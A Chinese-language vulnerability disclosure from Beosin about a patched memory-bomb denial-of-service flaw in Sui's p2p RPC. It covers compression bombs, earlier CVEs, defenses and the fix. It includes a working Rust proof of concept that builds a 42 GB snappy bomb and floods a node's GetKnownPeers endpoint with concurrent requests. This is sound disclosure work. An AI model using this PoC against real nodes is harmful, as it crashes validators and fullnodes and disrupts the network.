目前该漏洞已被官方修复。Sui mainnet_v1.6.3(2023 年 8 月 1 号)已经修复了此漏洞。

作者:Poet,Beosin 安全研究专家

封面:SUI

目前该漏洞已被官方修复。Sui mainnet_v1.6.3(2023 年 8 月 1 号)已经修复了此漏洞。

前言

此前 Beosin 安全团队发现了多个公链相关的漏洞,其中有一个漏洞比较有意思,我们与 Sui 团队沟通后,征得同意可以将其详细信息公开。这是 Sui 公链 p2p 协议中的一个拒绝服务漏洞,该漏洞可导致 Sui 网络中的节点因内存耗尽而崩溃。这个拒绝服务漏洞是由一个古老的攻击方式引起的————“内存炸弹”。

本文通过对该漏洞的介绍,希望大家对 “内存炸弹” 攻击和其防御手段有更多的认识和理解。

Beosin 作为区块链安全行业的领先者,我们持续关注公链平台的安全性

什么是内存炸弹?

最早的内存炸弹是 zip 炸弹,也叫死亡 zip,是一种恶意的计算机文件,会使读取它的程序崩溃或失效。zip 炸弹不会劫持程序的操作,而是一个消耗过多时间、磁盘空间或内存来解压缩的压缩包。

zip 炸弹的一个例子是文件 42.zip,它是一个由 42KB 压缩数据组成的 zip 文件,包含 16 组的五层嵌套 zip 文件,每个底层存档包含一个 4.3GB 字节(4 294 967295 字节;4 GiB − 1 B)的文件,总计 4.5 PB(4503 599626321 920 字节;4 PiB − 1 MiB)的未压缩数据。

zip 炸弹的基本原理是,我们生成一个非常大的内容全是 0(或者其他值)的文件,然后压缩成 zip 文件,由于相同内容的文件的压缩比非常大,此时生成的 zip 文件非常小。被攻击目标在解压 zip 文件之后,需要消耗非常多的内存来存储被解压之后的文件,内存会被快速耗尽,目标因为 OOM 而崩溃。

我们在 Windows 上做一个简单的实验:

利用如下命令生成一个内容全是 0 的,大小为 1GB 的文件:

fsutil file createnew test.txt 1073741824

利用 7zip 命令,将文件压缩为 zip 格式:

7z a test.zip test.txt

压缩后的文件大小为:1.20MB
由此我们可以知道,对于全部是 0 的文件,zip 压缩比接近 851:1
其实,任何格式的压缩包都有可能成为内存炸弹,不仅仅是 zip 压缩包。
我们继续这个实验,在 Windows 上用 7zip 将 1GB 的内容全是 0 的大文件,压缩为不同的格式。这样我们得出下面的压缩比列表:

事实上,不同的文件格式支持不同的压缩算法,比如 zip 文件支持 Deflate、Deflate64、BZIP2、LZMA、PPMd 等,不同压缩算法的压缩比是不一样的。上面的表格是基于 7zip 默认压缩算法的测试结果。

内存炸弹一般防御方法

我们可以通过限制解压后的文件大小来防御 “内存炸弹” 攻击。以下的方法可以限制解压后的文件大小:
1 解压后的数据大小放入压缩包里面。在压缩文件的某个位置读取这个值,然后判断其大小是否符合要求。

2 第一个方法无法完全解决这个问题,因为解压后的文件大小可以被伪造。所以我们可以传递一个固定大小的 Buffer,解压过程中,如果数据大小超出 Buffer 的边界,那么就停止解压,返回失败信息。

3 还有一个办法是流式解压。一边传入小部分压缩数据,一边解压这个数据,同时累加解压后的数据大小,如果在某一个时刻,解压后的数据大小超过阈值,就停止解压,返回失败信息。

历史上的 “内存炸弹” 漏洞

1 CVE-2023-3782

这是一个 OKHttp 库的漏洞。OKHttp 支持 Brotli 压缩算法,如果 HTTP 响应指定了 Brotli 压缩算法,由于 OKHttp 没有做 “内存炸弹” 攻击的防御,客户端会因为内存耗尽而崩溃。

漏洞描述:

https://github.com/square/okhttp/issues/7738

漏洞补丁:

https://github.com/envoyproxy/envoy/commit/d4c39e635603e2f23e1e08ddecf5a5fb5a706338#diff-88b327a1e72d55d1bb686b3b1f28f594b6b08139968304e6804a808fbb375ff0R26

我们可以看到,漏洞补丁限制了压缩系数。

2 CVE-2022-36114

这是 Rust 包管理器 Cargo 的一个漏洞。Cargo 从代码源下载包的时候,没有做 “内存炸弹” 防御,导致解压之后的文件占用的磁盘空间非常大。
漏洞描述:

https://github.com/rust-lang/cargo/security/advisories/GHSA-2hvr-h6gw-qrxp

漏洞补丁:

https://github.com/rust-lang/cargo/commit/d1f9553c825f6d7481453be8d58d0e7f117988a7

我们可以看到,漏洞补丁限制解压后的文件大小最大为 512MB。

3 CVE-2022-32206

这是知名网络下载工具 curl 的一个漏洞。curl < 7.84.0 支持 “链式”HTTP 压缩算法,这意味着服务器响应可以多次压缩,并且可能使用不同的算法。这个 “解压链” 中可接受的 “链接” 数量是无限的,允许恶意服务器插入几乎无限数量的压缩步骤。使用这样的解压链可能会导致 “内存炸弹”,使得 curl 最终花费大量的内存,因内存不足发生错误。

漏洞细节:https://lists.debian.org/debian-lts-announce/2022/08/msg00017.html

Sui 漏洞描述

1 在 Sui 的 p2p 协议中,为了减少带宽压力,有部分 RPC 消息是用 snappy 算法压缩的。

2 每个 Sui 节点(不管是 validator 还是 fullnode)在 p2p 网络中都提供节点发现 ("/sui.Discovery/GetKnownPeers") 和数据同步 ("/sui.StateSync/PushCheckpointSummary")RPC 服务。节点发现和数据同步的 RPC 消息,实际上是使用 snappy 压缩过的数据。在处理 RPC 消息的过程中,节点先将数据全部解压到内存,再用 bcs 算法反序列化,然后释放解压数据和原始数据。处理 RPC 数据的代码在"crates/mysten-network/src/codec.rs"文件里:

    impl<U: serde::de::DeserializeOwned> Decoder for BcsSnappyDecoder<U> {        type Item = U;        type Error = bcs::Error;
fn decode(&mut self, buf: bytes::Bytes) -> Result<Self::Item, Self::Error> { let compressed_size = buf.len(); let mut snappy_decoder = snap::read::FrameDecoder::new(buf.reader()); let mut bytes = Vec::with_capacity(compressed_size); //Decompress snappy_decoder.read_to_end(&mut bytes)?; //Deserialize bcs::from_bytes(bytes.as_slice()) } }

3 RPC 消息的最大 size 为 2G。这个限制硬编码在"crates/sui-node/src/lib.rs"文件里面:

        let mut anemo_config = config.p2p_config.anemo_config.clone().unwrap_or_default();        // Set the max_frame_size to be 2 GB to work around the issue of there being too many        // staking events in the epoch change txn.        anemo_config.max_frame_size = Some(2 << 30);   // size of 2G !!!!!

4 我们可以创建一个 1.97G 的 snappy 压缩文件,解压之后变为 42G,且文件内容全部为 0。

5 选择"/sui.Discovery/GetKnownPeers"这个 p2p RPC 作为被攻击的接口,向其发送大小为 1.97G 的 RPC 消息。那么节点需要至少 42+1.97=43.97G 的内存来解压这个消息。

6 如果 Sui 节点(不管是 validator 还是 fullnode)可用内存超过 43.97G,那么我们可以同时发送 n 个 RPC 消息,这样在某个时间点,sui 节点需要 m(m 一般小于 n) 个 43.97G 内存空间才能处理我们的攻击 payload。
如果内存不足,sui 节点就会崩溃。

以下是我们的测试结果

我们可以看到,节点因为 “Out of memory” 而被系统 “杀死”。

PoC

1 创建基于 snappy 算法的 “内存炸弹”

    //generate the "memory bomb"    //48.2M -> 1G    //96.4M -> 2G    //385M  -> 8G    //1.97G -> 42G    //    //set "how_many_gb" to set the decompressed size of "bomb"        let buf = [0; 1024];        let file = File::create(r"C:\Users\xxx\Desktop\42g").unwrap();        let mut encoder = snap::write::FrameEncoder::new(&file);        let how_many_gb = 42;        for _i in 0..1024 * 1024 * how_many_gb {            let _ = encoder.write_all(&buf).unwrap();        }        return;

2 攻击节点

pub fn build_network(f: impl FnOnce(anemo::Router) -> anemo::Router, chain_id : &str) -> anemo::Network {    let router = f(anemo::Router::new());    let mut config = Config::default();    config.max_frame_size = Some(2 << 30);    // config.max_frame_size = Some(usize::MAX);    config.outbound_request_timeout_ms = Some(100 * 1000);    let network = anemo::Network::bind("0.0.0.0:0")        .private_key(random_key())        .server_name(chain_id)        .alternate_server_name("sui")        .config(config)        .start(router)        .unwrap();
println!( "starting network {} {}", network.local_addr(), network.peer_id(), );
network}
async fn attack_type_0(address: Address, buf: Bytes, chain_id : &str) ->Result<(),Error> { let network = build_network(|a| {a},chain_id); let (mut rec, _a) = network.subscribe()?; tokio::spawn(async move { handle_event(&mut rec).await });
let peerid = network.connect(address).await?;
let mut request = Request::new(buf); *request.route_mut() = "/sui.Discovery/GetKnownPeers".into(); // *request.route_mut() = "/sui.StateSync/PushCheckpointSummary".into(); let response = network.rpc(peerid, request).await?; println!("{:?}", response); loop { sleep(Duration::from_millis(2000)).await; }}
#[tokio::main(flavor = "multi_thread", worker_threads = 200)]async fn main() { //read the "bomb" file. let mut in_file = File::open(r"C:\Users\xxx\Desktop\512m.txt").unwrap(); let mut buf: Vec<u8> = Vec::new(); let _size = in_file.read_to_end(&mut buf).unwrap(); let bs = Bytes::from(buf);
//you can change "concurrent_attack" to a appropriate number!!! let concurrent_attack = 20; let target_ip = "192.168.153.129"; let target_port = 35561; //you can get your private network's chain_id from the sui-node's stdout. let chain_id = "sui-76e065b8"; for _i in 0..concurrent_attack { let bs = bs.clone(); tokio::spawn(async move { let respone = attack_type_0(Address::from((target_ip, target_port)),bs.clone(),chain_id).await; println!("error : {:?}", respone);
}); }
loop { sleep(Duration::from_millis(2000)).await; }}

补丁代码分析

补丁链接:https://github.com/MystenLabs/sui/commit/42d4ad103a21d23fecd7c0271453da41604e71e9

我们可以看到补丁代码利用了流式解压,并限制了解压后的最大大小为 1G。同时将 RPC 消息的大小限制从 2G 降低为 1G。

漏洞影响

这个漏洞可以导致单个节点崩溃(validator 和 fullnode)。漏洞利用非常简单,只需要启动多个线程向节点发送 payload,就可导致节点崩溃,不需要消耗 gas 费用。Sui mainnet_v1.6.3(不包含)以前的版本都受此漏洞的影响。

漏洞修复

Sui mainnet_v1.6.3(2023 年 8 月 1 号)已经修复了此漏洞。Beosin 也将持续关注各大公链上的漏洞,为整个 Web3 生态护航。

免责声明:作为区块链信息平台,本站所发布文章仅代表作者及嘉宾个人观点,与 Web3Caff 立场无关。本文内容仅用于信息分享,均不构成任何投资建议及要约,并请您遵守所在国家或地区的相关法律法规。